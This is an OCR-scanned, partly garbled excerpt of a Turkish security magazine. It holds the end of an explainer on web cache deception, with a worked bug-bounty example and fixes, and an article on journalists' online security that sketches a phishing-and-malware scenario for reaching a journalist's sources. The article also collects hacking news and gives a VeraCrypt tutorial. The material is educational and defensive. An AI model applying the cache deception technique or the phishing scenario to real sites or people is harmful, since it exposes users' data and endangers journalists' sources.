(example.com/home.php/logo.png) web sitesi, halihazirda 6nbelleginde boyle bir sey bulamayacag: icin, 6nbellekle-
menin yukarida bahsettigimiz ilk islevi devreye girecek. Onbellekleme sonucunda bulunan en ug dizine bu dosyay1 kaydedecek.
Boylelikle siz o siteye bir kullanici olarak giris yaptiginiz igin sizin bilgileriniz ile beraber vermis oldugunuz uzantida bir sayfa
olarak kaydediliyor.

Daha sonradan saldirgan ayn1 uzantidaki sayfay1 yani example.com/home . php/logo.png sayfasini alip giris yaptigin-
da, sayfanin kaynak kodlarinda giris yapilan kullanic1 hakkindaki bilgileri gorebilecek!
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Yani bir web sitesinde oturum agmuis bir kullaniciy1 example . com/home . php/logo . png adresine bir sekilde erismesini
saglayan bir saldirgan, bu sayfanin onbellege alinmasina ve bu sitenin herkes tarafindan erisilebilir olmasina neden olacaktir.
Web sitesinden donen yanitin igeriginde oturum dogrulayicisi, giivenlik yanitlar: veya CSRF token'lar1 da bulunuyorsa isler
daha da kétiilegebilir. Saldirgan CSRF (Cross Site Request Forgery) token’larini elde ettigi zaman, sanki o anki kullaniciymis
gibi web sitesine erisim saglayabilir. Saldirganin simdi yapmasi gereken tek sey bu sayfaya kendi basina erigmek ve bu verileri
incelemek olacaktir.

Not: Genellikle web sitelerinde genel statik dosyalarina erismek i¢in kimlik dogrulama islemi gerekmez. Bu nedenle, 6nbellege
alinmis dosyalar herkes tarafindan erisilebilir.
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Saldiri Ornegi:

Simdi gelelim pratige. Ben bu zafiyet hakkinda bir 6rnek gostermek i¢in Kunal Pendey isimli bir giivenlik aragtirmacisinin
yazisindan faydalandim. Bulmus oldugu zafiyeti, bulundugu bug bounty programi kapsaminda gizli oldugu i¢in ¢izimler ile
anlatmis. Bug bounty, belirli bir yazilimin agiklarinin bulunmas: (BUG) amaciyla yazilimin sahibi sirket tarafindan herkesin kati-
limina agik olarak gerceklestirilen giivenlik yarismalaridir.

Oncelikle http: //example . comadinda bir sayfaya kullanici girisi yapiyoruz.

I https://example.com I

Example Features f Pricing & Dashboard & Blog &

Build your Design
with our Workflow

Try for Free Watch main Videe

Sayfa bu sekilde goriiniiyor. Daha sonra, sayfanin header’lari/bashiklarini kontrol ediyoruz ve énbellek kontrolii ile alakali bir
baslik gérmiiyoruz. Bu ylizden hemen zafiyetimizi deniyoruz.

Not: Sayfada onbellek kontrol bagliklar1 yok diye her zaman web cache deception zafiyeti olacak diye bir sey yok. :)

example.com/welcome. css adinda bir dosya yoktur, diyerek boyle bir URLe giris yapmaya karar veriyorum.

I https://example.com/welcome.css I
Example Features & Pricing & Dashboard & Blog &
404 Error

The page you are looking for is
not found.

Evet gordiigiiniiz gibi 404 Hatas1 aldim. Burada 6nemli olan nokta 404 hatasini sayfa disinda almiyorum. Halen ¢aligma alani-
min i¢indeyim ve kullanicim duruyor.

Simdi ise bu sayfanin 6nbelleklendigini varsayarak tarayicimizin gizli modundan bu sayfaya giris yapryoruz fakat giris yaptigi-
mizda sayfada herhangi bir sey gortinmiiyor. Bir siire sonra “Go to your workspace” yazisi aliyoruz.

Ancak yapmadigimuz bir sey var o da sayfanin kaynak kodlarina bakmak. Sayfanin kaynak kodlarina geldigimiz zaman ise kul-
lanici hakkindaki bilgileri agike¢a gorebiliyoruz.

I view-source:https://example.com/welcome.css I

{"emai1"; "kunal@naruto.com”,"1d":528,"1s_email_confirmed":true,"is_email_locked":false,"date_joined":154965238
3000, "mixpanId": "168ce7a4f3380", "name": "kunal", "tempUser":false, "organizations":[{"id":496, "name":"kunal","s1u
g":"kunal-wn","isActive":true,"isTrial":true, "role":"owner", "members":1,"plan":"pro-annual"}
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Onemli Noktalar:
« Onbellek baslig1 yoksa, bu, énbellek bilgi saldirisi alaca-
gin1z anlamina gelmez. Ayrica, yonlendirmenin gergekte
nasil ¢alistigini da gosterir.

o Bazen ek parametreler ekledikten sonra bile bu sayfaya
gidebilirsiniz hatta bazi yerlerde 404 hata sayfasina da
girebilirsiniz, ancak 404 hata sayfasinin kaynak kodunda
bilgi yoksa, o zaman bu zafiyet kullanigsiz olur.

o Sirketler ¢cogu zaman veri almak i¢in API veya GraphQL
u¢ noktalarini kullanirlar; bu nedenle, gizli modda bir
sayfay1 agtiginiz zaman bu sayfanin kaynak kodunda
bilgileri géremiyorsaniz bu zafiyet kullanilamaz. Belki
sadece hesap adini gorebilirsiniz.

Zafiyetin Coziimii:

« Onbellek mekanizmasini yalnizca HTTP onbellege alma
basliklarinin izin vermesi durumunda dosyalar1 6nbellege
alacak sekilde yapilandirin. Bu iglem sorunun asil nedeni-
ni ¢6zecektir.

« Onbellek bileseni segenegi saglarsa, dosyalar icerik tiirle-
rine gore 6nbellege almak i¢in yapilandirin.

o Web sunucusunu, example.com/home.php/non-
existent.css gibi sayfalar i¢in dénen cevabi home.
php i¢inde degil de disinda bir yerde donmesini saglayin.
Ornegin, sunucu bir 404 veya 302 yanit1 ile yanit verebilir.

Yazim1 okudugunuz icin tesekkiir ederim. Giivenli giinler!

Kaynak:
https://omergil.blogspot.com/2017/02/web-cache-decep-

tion-attack.html

https://medium.com/@kunal94/web-cache-deception-attack-
leads-to-user-info-disclosure-805318f7bb29

SORULARLA PYTHON
OGRENIYORUM

ACIKLAMALI CEVAPLARI VE VIDEOLARLA 400°DEN FAZLA SORU abakis

y
|£] WE:IJIE:RI
vakademi

BONUS UOEOLART

Hakan YALCINKAYA - Ercan BOZKURT

+ Python Kurulumu = Dictionary + JSON ile Calismak
+ Degiskenler ve = Karar Yapilari * PIP
Veri Tipleri » Dingiiler » Hata ve
* Python Shell *F iyon Kull istisna Yanetimi
[Interpreter] » Dosya ve Klasérlerle « Virtual Environment
» List Calismak

Hakan Yalginkaya-
Ercan Bozkurt

www.ahakuskitap.com




Eren Altun / erenaltun@protonmail.com ARKA KAPI

Gazetecilerin
Cevrimici Guvenligi
ve

iber Saldirilar

Gazeteciler i¢in Sayisal Giivenlik adli makale ile gaze-

tecilerin siber uzayda ne gibi giivenlik 6nlemleri alabi-
lecegini paylasmistik. Bu sayimizda ise ge¢miste gazetecilere
yonelik yasanmis ve ders alinmas:i gereken olaylar1 6rneklen-
direcegiz.

Bir onceki sayimizda, Alper Atmacanin kaleminden,

Giiniimiizde gazeteci olmak hi¢ olmadig: kadar tehlikeli maa-
lesef. Gazeteciler, artan sayida siber tehdit, siber saldiri, cina-
yet ve savas zayiatinin yani sira, su anda istihbarat servisleri,
kanun uygulayicilar ve digerleri tarafindan ¢evrim igi olarak
aktif bir sekilde hedef haline gelebiliyorlar.

“Siber guivenlik nedir?” sorusunu; bilisim sistemle-
rinde insanlarla veya kurumlar arasi kurdugumuz
iletisimin, yasamin, entegrasyonun, maddi veya
manevi varliklarimizin, dijital ortamdaki verileri-
mizin guvenliginin, butlinlGginin ve gizliliginin
korunmasi seklinde tanimlayabiliriz.




Her gazetecinin, kendince haber aldig1 ve bilgi akist sagladig:
kaynaklar vardir. Gazetecinin, hem kendi giivenligini sagladi-
&1 hem de ona haber gonderen “kaynak” ile ilgili iletisim gii-
venliginden bahsetmeliyiz ki “iletisim giivenligi” saglanmaz-
sa, bircok kotii sonucun da beraberinde gelme riski artacaktir.
Elbette kimse bilgi kaynaklarini ya da haber akis1 sagladigi
kaynaklar1 ifsa etmek istemez. Bu sebeple, dikkat edilmesi
gereken bir¢ok husus var. Ornegin, hedefteki gazeteci yeteri
kadar siber giivenlik farkindaligina sahip degilse, elindeki her
seyi kaybedebilir. Ufak bir senaryo ile 6rneklendirelim.

X bir gazetecinin bilgi akisi sagladigi muhbirlere ve elindeki
kaynak ya da bilgilere ulagmamiz gerekiyor. Hedef gazeteci-
miz hakkinda ufak bir arastirma sonucu mail adresini edini-
yoruz. (Mail adres bilgisini “Google Hacking” yontemleri ile
bulmak miimkiin.) Sonrasinda, mail adresine gonderdigimiz
zararl yazilim ile birlikte bilgisayar kontroliinii ele gegirmeyi
hedefliyoruz.

Genellikle, gazetecilerin biiyiik ¢ogunlugu, aktif olarak gelen
mailleri kontrol etmektedirler. Dikkat ¢eken igerik sayesinde
kurban, gondermis oldugumuz baglantiya tiklayacak ve son-
rasinda zararl yazilim igeren sitemize yonlendirilecektir. (Bu
teknigin adi, oltalama (phishing) saldirisidir.) Bununla be-
raber ilk adimi atmig oluyoruz. Hedef kisinin mail adresine
gonderdigimiz zararli yazilim sonucu, hedef kisiyi dinlemeye
aliyor ve hakkindaki raporumuzu olusturuyoruz. Rapor igeri-
gi ne kadar detayli olursa o kadar isimize yarayacaktir. Iletisim
halinde oldugu mubhbirlerin isimlerine ulastiktan sonra da
benzer senaryolar aracilig1 ile hedef yolunda ilerliyoruz. Hedef
kisinin mail adresine, dikkat gekici baglantilar ile zararli yazi-
lim gondermek sadece ufak bir 6rnekti. Bunun gibi onlarca
saldir1 senaryolart tiretilebilir. Calistig1 kuruma gidip yerel ag
saldirilar1 sonucu, istenen diger bilgiler de elde edilebilir. Bu
tarz 6rnekleri gogaltabiliriz.

Varsayalim ki bir gazeteci olarak, “siber giivenlik farkindaligr”
hakkinda az ¢ok bilgi sahibiyiz. Gelecek olan saldir1 ve senar-
yolara karst hazirlikliyiz. Peki, bu yeterli midir? Tabii ki hayir!

Her zaman bilmemiz ve unutmamamiz gereken bir sey var ki
o da hicbir zaman mutlak giivenligin s6z konusu olmadigidir.

ARKA KAPI Eren Altun / Gazetecilerin Gevrimici Giivenligi ve Siber Saldirilar

Bir sosyal mithendislik senaryosu ile tuzaga rahatca diisebili-
riz. Bir baglant1 tiklandiginda daha da inanilmaz ve skandal
aciklamalar vaadinde bulunan, 6nemli haberler gibi ilgi ¢ekici
basliklara sahip haber baglantilarini da drnek gosterebiliriz.
Bu baglantilar genellikle s6z konusu iinlii ile ilgili basindaki
yalan haberlerden faydalanacak sekilde, 6zel olarak tasarlan-
mus zararl yazilim igeren sitelere yonlendirir.

Bunun tarihte yiizlerce 6rnegi bulumakta. Bu tiir gercek-
lik pay1 bulunmayan baglantilarla her yerde karsilasabiliriz.
Milyonlarca insan, her giin kullandiklar: sosyal medya plat-
formlarinda saatlerini gecirmekteler. Durum bdyle olunca da
genellikle sosyal mithendislik saldirilari, sosyal medya hesap-
larimiz tizerinden olma ihtimali oldukga yiiksek. Bu nedenle,
sosyal medya platformlariin bilingli kullanilmas: gerekiyor.
Bu vermis oldugum bilinen yoéntemler, siradan giinliik hayatta
basimiza gelebilecek rutin 6rnekler. Tiim bu 6rnek unsurlara
dikkat etsek bile, mutlak bir giivenlikten bahsedemeyiz. Bu se-
beple kesin giivenlik tabiri yanlis olur.

Fiziksel Saldirilar:

Gegmiste gazetecilere yapilan fiziksel saldirilar gibi, dijitalle-
sen diinyamizda farkl tehdit unsurlari da beraberinde gelmis-
tir. Gazetecilere kars1 baslatilan siber saldirilar, gittikge sid-
detlenmeye basladi. Ozellikle hacker’larin bazi iinlii isimlerin
biitiin hesaplarini ele ge¢irdigi rapor ediliyor.

Ornekler:

Diinyanin 6nde gelen giivenlik sirketlerinden FireEye'n yap-
tig1 arastirmaya gore, “admin@338” ad1 verilen Cinli hacker
grubu, Hong Kongdaki medya gruplarina kars: siber saldir1
baslatti. Tayvan ve Giineydogu Asyadaki demokrasi yanlist
kuruluslar, hedeflenen gruplar arasinda yer aliyor. 2013 y1-
lindan beri takip edilen ve ilk medya saldirisini, 2015 yilinda
gergeklestiren admin@338, basta medya olmak iizere finans,
ekonomi ve ticaret politikalarinda rolii olan kuruluglar1 da he-
def aliyor.

FREEDOM OF PRESS
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Gazeteciler icin Bilgi Glivenligi
Gazeteciler, dijital diinyadaki iletisimlerini glivence altina al-
mak i¢in artan bir zorlukla kars1 karsiya. Gizli kaynagin ko-
runmasi, siirveyansin (belirli bir amaca yonelik olarak veri
toplanmasi, toplanan verilerin bir araya getirilerek yorumlan-
mast ve sonuglarin ilgililere bildirilmesinden olusan dinamik
bir siiregtir) yayginlastig1 bir diinyada kolayca tehlikeye gire-
bilir. Gazeteciler iletisimlerini giivence altina alabilir ve kay-
naklarini koruyabilir mi?

Konuyu ele almak i¢in Avrupa Gazeteciler Federasyonu (EF])
ve Avrupa Sendikalar Enstitiisit (ETUI), 19-21 Ocak tarihleri

Arka Kapi Derg)

duyurdu.

Gazeteci ismail Kiiciikkaya'ya Hacker Soku
Ismail Kiigiikkaya'y) Hacklediler.,

s Sosyal medya hesabindan yaptg: agikdamada, normalde Tiirk sitelerini
hacklemediklerin belirten Skorsky, bu seferid istisnay ise gu sizlerle
agiklad, Taraf, bu (enin tarafinda dedildis, Taraf; millete, deviete, dini ve mil
degeriere saldemay gorev bilmigtie. Bizce yerli de degilde. Bu operasyon, Gk
aleyhine ;ahgan difer medya kurulusianna da ders olsun® dedi

IHA

Faox TV Haber BQl
Kalpaklh® isimli hacker tarafindan hacklend

u gazeteci ismail Kigikkaya'nm Twitter hesabi "Kara Raserker

azeteci-ismail-kucukkaya-ya-hacker-soku-6749643-haberi

Tiirk hacker Skorksy sosyal medya hesabindan yaptig
agiklamada Taraf Gazetesinin internet sitesini erigime engelle

Unlih Tilrke hacker Skorksy, Taraf Gazetesinin intemet sitesini erigime kapatt RIS 1925 AT A <Y

VU

E3 hacklendi! Gazetecilerin
kisisel bilgileri sizdirildi!

arasinda Briikselde “Gazeteciler i¢in Siber Giivenlik” konulu
dort giinliik bir ¢alisma diizenledi. Dijital giivenlik uzma-
n1 Dmitri Vitalievin yonettigi yirmi bir gazeteci ve sendika
gorevlisine, iletisimlerini hizli bir dijital haber odasinda ko-
rumak i¢in uygulamali bir yaklagim sunuluyor. Gazetecilere,
ayrica Internet sansiiriinii nasil atlayacaklar1 ve ¢evrim ici ile-
tisimlerini nasil saglayabilecekleri 6gretildi.

Gazetecilerin, ¢evrim i¢i gizlilik ve giivenlik onlemlerini al-
madig1 durumda birgok tehdit unsuru da beraberinde gel-
mektedir. Gegmis zamanda ve giiniimiizde, yurt iginde ve yurt
disinda bunun yiizlerce 6rnegi mevcut. $6yle bir bakalim:

Arka Kapi Dergi

Sozcii gazetesinin twitter hesabi hacklendi

Szl gazetesinin resmi twitter
hesaby “TakHackTim” tarafindan ele
geyirildi.

Aoypddur Tiem Qlred Operasyon Chibi tarafmdam Twitles betabs hackienes
ania sl bevabmdas vitds ety

gL

CONDUERLEN BANTE E-POSTA

http://www.radikal.com.tr/turkiye/soz-
cu-gazetesinin-twitter-hesabi-hacklendi-1285254/

Tiim bu yaganan ¢evrim igi saldirilar, kimi zaman politik, kimi zaman ise ekonomik krizlere sebep olabilmektedir.

Kaynak koruma gorevi, ciddi bir arastirmaci gazetecinin tartismasiz en onemli sorumlulugudur.

Gazetecileri baski altina almak icin sosyal aglar1 kullanmak giderek yayginlasti. Gazeteciler ve muhabirler, hem izole edilmis
sosyal medya kullanicilarindan hem de yiiksek oranda organize olmus aglardan gelen sik sik ¢evrim ici saldirilara maruz kal-

maktadir.

Bu saldirilar, magdurlari susturmak ve sessizlestirmek icin tasarlanmistir. Dolayisiyla, gazetecileri hedef alan ¢evrimici nefret
soylemi ve siber zorbalik, toplumsal saldirilara dayali basin 6zgiirliigii ve demokratik degerlere deginen bir konudur. Basin

ozgiirliigiine yapilan herhangi bir saldiri, demokrasinin kendisine yapilan bir saldiridir.
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EEAS saldinlar, bas n kendisine yonelil Jirschir

Madk SUSTLITTT K
> Medya a

Medyay1 Susturma - Kadin gazetecilere yonelik T < P
siber saldirilar, basin 6zgurlugu ve demokrasinin
kendisine yonelik bir saldiridir

09.03.2019 - 20:00

Haber Hikayeleri

9 Mart Cumartesi giinti, AB Delegasyonu, kadin gazeteciyi hedef alan ¢evrimici nefret sdylemine 151k tutan bir
belgesel olan A Dark Place'in gosterimini ve basin 6zgtlirliigii ve demokrasiyi agmak i¢in yarattig: tehdidi
destekledi.

Reha Muhtar'in hesabi HACKER'LAR GAZETECILERI HEDEF
hacklendi ALIYOR

Gazeteci Reha Muhtar, sosyal paylasim sites! twitter'daki hesabina giris yapmak
istediginde 5ok yasadi Unli gazeteci, resmi twitter hesabina bugiin oflen saatlerinde
girts yapamadigini fark etti. Teknik ekip tarafindan yapilan kontrol sonucu hesabin
sifresinin degistirikdigi fark edildi..

0000« «

ABD'DE YAPILAN ARASTIRMANIN SONUCLARINA
GORE, YAZICILARI HACKERLARDAN KORUMASIZ
BIRAKMAK, DIGER CIHAZLARI DA GUVENLIK

1
Arka Kapi Dergi

Unlu gazetecﬂere haCk §Uku Gazetecilere siber saldir
[+ Fcevoopoos |9 Twttcpayn | 3| coope poves |81 ot e

: : 5 Genel secimlerin yaklasmasiyla birlikte gazeteci
4 Gnla gazetecinin Twitter hesaplari "Ay Yildiz Team" adli hacker grubu tarafindan| hesaplarina yonelik siber saldirilar da arttr.

siber saldiriya ugradi. Can Atakl, Fehmi Koru, Reha Muhtar ve Abdiilkadir
Selvi'nin Twitter hesaplar hacklendi.

Yeni Asya Gazetesi ¢calisanlarina da gonderilen sahte e-
postalarda Twitter hesabinin sifresini calmaya yonelik

: Kl . . . . "phishing” teknigi kullanildi. Twitter'in giris sayfasini kopyalayan
Korkusuz gazetesi yazari Can Atakli'min Twitter hesabi bugun 6glen saatlerinde hacklendi. hackerlar, kullanici adi ve sifresini giren gazetecilerin Twitter

Hacklenen Atakli'nin hesabindan, CHP lideri Kemal Kiligdaroglu'nu elestiren, Cumhurbaskani| hesaplarini calma girisiminde bulundu.
Tayyip Erdogan'i oven haberler ve yorumlar paylasildi. GONDERILEN SAHTE E-POSTA:
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https://eeas.europa.eu/journalists-are-attack-press-freedom-and-democracy

http://www.milliyet.com.tr/cadde/reha-muhtarin-hesabi-hacklendi-2260767
https://www.sozcu.com.tr/2015/medya/fatih-portakalin-twitter-hesabi-hacklendi-706151/

https://siberbulten.com/siber-guvenlik/cinli-hackerlarin-yeni-hedefi-gazeteciler/
Yine yanda belirtilen haberde de goriildiigii gibi, aktivistler tara- Tiirkiye Gazeteciler Cemiyeti'nin web

findan, Tiirkiye Gaz.etec1ler Cemlyietl nin V\{eb. sitesine yonelik sayfasi hacklendi
propaganda amagli siber saldirilar diizenlenmistir.

http://www.cumhuriyet.com.tr/Turkiye Gazeteciler Cemiveti
nin web sayfasi hacklendi.html

https://www.sabah.com.tr/gundem/2016/12/14/gazeteci-is-

mail-saymazin-twitter-hesabi-hacklendi
A . | W T et Gaambuyegt | f Facevookta payias
Ozellikle sansasyonel (¢arpici) etki olusturmak amaciyla medya, % N

siklikla bilgisayar korsanlarinin hedefi haline gelmektedir.

https://www.aksam.com.tr/dunya/hackerlar-suudi-muhalif-
ahmedi-hedef-alirken-kasikcinin Gazeteci Ismail Saymaz'in
Twitter hesabi hacklendi! - Iste

o konusmalar ve Ismail
Tim bu yasanan siber saldirilarin sonuglari, tahmin bile edeme- g aymaz'in aciklamasi

) . . K A ) b} . .
yecegimiz kadar bize pahaliya patlayabilir. Ornegin, AP’nin resmi MBI st st It Siriusess TWittar hasst
Twitter hesabindan atilan ‘Beyaz Saray’da bomba. Obama yaralan- hacklendi. Gazeteci ismail Saymaz'in 6zel DM'leri ifsa edildi.
. . . . . i ils Twitter h b hackl iyle ilgili
dr’ sahte tweet, dev sirketleri 2 dakikada yere serdi. 136 milyar Ty P e ey e T
A . . . aciklamalarda bulundu. Iste Gazeteci Ismail Saymaz'in
dolarlik maddi zarar ortaya ¢iktig1 bilinmektedir. hacklenenen DM'leri ve konuyla ilgili aciklamast...

https://www.havadiskibris.com/hackerlar-medyayi-hedef-aldi/

H_a.cker'lar medyayi hedef aldi

Suriyeli bir grup bilgisayar korsani, aralarinda New York Times, Independent ve Telegraph gibi medya kuruluslarinin oldugu
ingiltere ve ABD merkezli internet sitelere siber saldinlar dizenledi. ‘Syrian Electronic Army’ isimli grubun dizenledigine inanilan
saldinlarin ardindan soz konusu sitelerin belli bashi kissmlarinin bir streligine erisime kapandig bildirildi. Siber saldininin ardindan
resmi Twitter hesabindan konuyla ilgili bir agiklama yayinlayan Ingiltere merkezli Telegraph gazetesi, soz konusu saldirinin

bertaraf edildigini ve Uyelerinin biligilerinin givende oldugunu aciklad.

Hackerlar Suudi muhalif Ahmed'i hedef alirken Anonymous: Assange‘ln intikamini
Kasikgi'nin adimi kullanmig alacaélz

Hacker grubu Anonymous, WikiLeaks sitesinin kurucusu Julian
Assange'in tutuklanmasinda rol alan herkesi 'halk diismani' ilan etti.
Hackerlar, CIA ve ABD Baskani'ndan operasyon yapan polis
memurlarina, "Anonymous’'un buna gore hareket etmesinin zamani
geldi” diye seslendi.

Hackerlanin, Suudi Arabistanli muhalif gazeteci Ali el-Ahmed'in elektronik posta
hesabimi ele gegirmek igin Cemal Kagikgi'nin ismini de kullandi§i ortaya gikts
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Google dan Siber Saldiri Magduru
Gazetecilere Destek!

Cevrim i¢i Saldirilara Yonelik Google'dan Gazetecilere Tam
Destek!

Gazetecilere kars1 baglatilan siber saldiri, gittik¢e siddetlen-
meye bagladi. Google bu saldirilara yonelik, yaptig1 agiklama
ile artik hackerlarin hedefi haline gelen ve tehditler alan kisile-
rin hesaplarini giivenli bir hale getirmek i¢in yardim edecegini
soyledi.

Google'n sozciisti, biiyiik kurulus ve sirketleri her zaman
uyardiklarini ancak yetkililerin bilerek bazi énlemler almay1
ertelediklerini sdyledi. Ogrenilene gore sirket eski bir diplo-
mat olan Michael McFaul ve New York Times gazetesinin iinlii
kose yazar1 Paul Krugman'a da yardim etmis.

https://www.sabah.com.tr/gundem/2015/05/28/new-york-
times-hacklendi

http://www.cumhuriyet.com.tr/haber/turkive/1467077/Feh-
mi Koru nun siteleri _hack lendi.html

https://siberbulten.com/siber-guvenlik/medyaya-bir-siber-
saldiri-daha-belcika-televizyonu-hacklendi/
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Yine ilgili bir haberde:

Haber sitesi saldirtya ugrayan Koru, siteleri geri almak i¢in ug-
rastiklarini soyledi. Koru, “Bir siber saldirt sonucu once Ocak
Medya haber sitemiz erisilmez oldu, bugiin erken saatlerden
itibaren de fehmikoru.com sitemiz. Ikisini de geri almaya ¢ali-
styoruz. Siirekli okurlarimiz, yazarlarimiz ve takipgilerimizden
oziir dileriz” dedi.

Haberler > Gundem Haberleri > New York Times hacklend

New York Times hacklendi

Tirk hackerlar, AK Parti hitkimeti ile Cumhurbaskani Recep Tayyip
Erdogan’i hedef alan ve ABD ile NATO miuttefiki idlkeleri harekete

gecmeye davet eden New York Times gazetesinin internet
sitelerini erisime kapatti.

IHA | Gindem Haberleri

Girig Tarihi: 28.5.2015 @ 10:49 Guncelleme Tarihi: 28.5.2015 @ 11:02

Belgika gazetesine hacker saldinsi

blogundak hidmet elegtren yazdarmyl

Gazeteci Fehmi Korunun internet stelerine saldin dozenlendi. Son zamaniarda

oian Koru, Twiner

yapt agidamada takipgilerinden oztr diedi

Giintimiizde bilisim giivenligi ihlal olaylarinda ciddi bir artis
goriilmektedir. Yagsanan ihlal olaylar1 profesyonel bakis agisiyla
degerlendirilip, gtivenlik 6nlemleri alinmadig miiddetce ben-
zeri olaylarla tekrar tekrar karsilagma riski artmaktadir. Her
olay bir tecriibe olarak degerlendirilmeli, detayli incelenmeli
ve bir daha yaganmamasi i¢in gerekli 6nlemlerin alinmasi sag-
lanmalidir. Ozellikle bu tarz gelebilecek saldirilara yonelik her
zaman hazirlikli olmaliyiz.

Bilhassa veri ihlali yasanmamasi adina, verileri dogru yerde
sakladigimizdan emin olmaliyiz. Isini profesyonel olarak ya-
pan bir arastirmaci gazetecinin tartismasiz en 6nemli sorum-
luluklarindan olan veri giivenligi, dikkat edilmesi gereken
bir diger husustur. Bulut yedeklemelere dikkat etmekte fayda
var. (Apple olayini hatirlaymn.) Fiziksel yedekleme, sunucu
yedeklemelerine gore daha giivenlidir ancak fiziksel yedek-
lemenin ise s6yle bir riski vardir: “Fiziksel yedekleme” yap-
tiginiz diskin yabanci kisilerin ellerine gegebilmesi. Bu yiiz-
den fiziksel yedeklemelerde mutlaka ya diski sifreleyin ya da
dosya klasorlerine parola koyun (her ikisini diyenleri, ayrica
tebrik ediyoruz:). Kullanmis oldugunuz program ve isletim
sisteminizi daima giincel tutunuz. Giincellemeleri zamaninda
yapmay1 unutmayiniz. Bunlara dikkat edildigi zaman olas1 bir
saldir1 durumunda veri ihlalinin yasanma ihtimali azalacaktir.
HacKk'lenseniz bile ya da diskiniz ele gegirilse dahi saldirganlar
eli bos donecektir ya da isleri gercekten ¢ok ¢ok zorlasacaktir.
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Ornek sifreleme yontemlerinden ikisini ele alacagiz: [« VeraCrypt Volume Creation Wizard [ESEEE )

o BitLocker
o VeraCrypt

VeraCrypt Volume Creation Wizard

@ Create an encrypted file container

Creates a virtual encrypted disk within a file. Recommended for
inexperienced users.

More information

BitLocker i¢in dergimizin ikinci sayisinda bir makaleyi kaleme
almustik (BitLocker ile Disklerinizi Sifreleyin). ]
() Encrypt a non-system partition/drive

Encrypts & non-system partition on any internal or external
drive (e.g. a flash drive), Optionally, creates a hidden volume.

Simdi de alternatif olarak VeraCrypt'ten bahsedelim.

(7) Encrypt the system partition or entire system drive

. Encrypts the partition/drive where Windows is installed. Anyone
who wants to gain access and use the system, read and write
files, etc., will need to enter the correct password each time

before Windows boots. Optionally, creates a hidden system.

Genel Avantajlari:
« Baslangicta bilgisayarin kilidini agtiktan sonra son kulla-

nicinin 6zel dikkat gostermesi gereken bir durum yoktur. T

VeraCrypt
o Veriler diske yazildik¢a otomatik olarak sifrelenir. Srasp
o Okundugunda, otomatik olarak (sifresiz) ¢ozilir.
« Boylece verileriniz giivenli bir sekilde saklanir. i CEET | onse
Vera Crypt Nasil Kurulur ve Bu adimda, VeraCrypt biriminin olusturulmasini istedigimiz

yeri segiyoruz.
Kullanilir?

VeraCrypt programini indirip yiikleyin. Ardindan VeraCrypt.
exe dosyasina ift tiklayarak veya Windows Baslat meniiniiz-

Segenek varsayilan olarak geldiginden devam ediyoruz..

deki VeraCrypt kisayoluna tiklayarak VeraCrypt’i baglatin. Volume Type
vt oo R | @) Standard VeraCrypt volume
Volumes System Favorites Tools Seftings Help Homepage Select this option if you want to create a normal VeraCrypt
(= . — ' volume,
Drive  Volume Size Encryption Algorithm Type o
o F
| E =
=ik (" Hidden VeraCrypt volume
) M;. =
=in: It may happen that you are forced by somebody to reveal the
=i0: password to an encrypted volume. There are many situations
=P - where you cannot refuse to reveal the password (for example,
B due to extortion). Using a so-called hidden volume allows you to
j?‘ solve such situations without revealing the passward to your
= 1 volume,
More information about hidden volumes
[] Volume Properties. .. Wipe Cache
Volume
Ad Select File...
VeraCrypt [] Never save history [ Volume Tools. .. | | Select Device... ] HEll:l I [ < Back Mext = I | Cancel
[ Mount ] I Auto-Mount Devices | ’ Dismount Al l-. [ Exit l .
5 1] Bu pencere, VeraCrypt Birim Olusturma Sihirbazi Birim Tipi

VeraCrypt penceresi bu gekilde karsimiza cikacaktir. Next bu- penceresi Normal ya da Gizli birim tercihini yapmanizi saglar.

tonundan devam ediyoruz. Bu adimda, standart veya gizli bir VeraCrypt birimi olustur-
may1 segmemiz gerekir.
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Volume Location

hd Select File...

[¥] Mever save history

A VeraCrypt volume can reside in a file (called VeraCrypt container),
which can reside on a hard disk, on a USE flash drive, etc, A
YeraCrypt container is just like any normal file {it can be, for
example, moved or deleted as any normal file). Click 'Select File' to
choose a filename for the container and to select the location where
you wish the container to be created.

WARNING: If you select an existing file, VeraCrypt will MOT encrypt
it; the file will be deleted and replaced with the newly created
VeraCrypt container. You will be able to encrypt existing files {Jater
on) by moving them to the VeraCrypt container that you are about
to create now.

l Help ] I < Back Mext = Cancel

Olusturmakta oldugumuz VeraCrypt dosyasimnin konumunu
ve dosya ismini belirleme:

o Bu adimda, VeraCrypt biriminin nerede olusturulmasini
istedigimizi belirtmemiz gerekiyor.

o Bir konum segin ve olusturmakta oldugunuz VeraCrypt
birim dosyast i¢in bir isim belirleyin.

2, Specify Path and File Name =S
@uwl .. » Computer » Local Disk (F) » Data vI 43 | | Search Data el |
Organize ¥ New folder = @
]| Gt * | Name ’ Date modified

& Music

& Pictures Me items match your search.

=|| Subversion

B videos

T

. Computer
&, Local Disk (C3)
u Local Disk (D)
—a Local Disk (F)

File name: | My Velume -
Save as type: | All Files (*.%) >
~ Hide Folders | sae || canca |

VeraCrypt birimimizi F : \ Data \ klasoriinde olusturacagiz ve
birimin (container) dosya adi My Volume (yukaridaki ekran
gdriintiisiinde goriilebilecegi gibi) olacaktir. Istedigimiz baska
bir dosya adi ve konum segebilmekteyiz.

Istenilen yolu (kabin olusturulmasini istediginiz yeri) dosya
segiciden secin. Istenilen konteyner dosya adini Dosya adi
kutusuna yazin.

Asagidaki adimlarda VeraCrypt Volume Creation Wizard’a

geri donecegiz.

Sifrelenmemis dosyalar1 bir VeraCrypt birimine kopyaladik-
tan sonra, sifrelenmemis orijinal dosyalar: giivenli bir sekilde
silmemiz gerektigini unutmayin. Giivenli silme amaciyla kul-

lanilabilecek yazilim araclari vardir

Volume Location

F:\Data\My Vaolume - Select File...

[¥] Mever save history

A VeraCrypt volume can reside in a file (called VeraCrypt container),
which can reside on a hard disk, on a USB flash drive, etc. &
VeraCrypt container is just like any normal file {it can be, for
example, moved or deleted as any normal file). Click 'Select File' to
choose a filename for the container and to select the location where
you wish the container to be created.

WARNING: If you select an existing file, VeraCrypt will NOT encrypt
it; the file will be deleted and replaced with the newly created
VeraCrypt container. You will be able to encrypt existing files (Jater
on) by maving them to the VeraCrypt container that you are about
to create now.

I Help | | < Back [ Mext = J | Cancel ]

Birim Olugsturma Sihirbaz: penceresinde devam edelim.
Encryption Options

Encryption Algorithm

| AES »| |  Test

FIPS-approved cipher {Rijndael, published in 1993) that may be
used by 1.5, government departments and agendes to protect
dassified information up to the Top Secret level. 258-bit key,
128-hit block, 14 rounds (AES-258). Mode of operation is XT5.

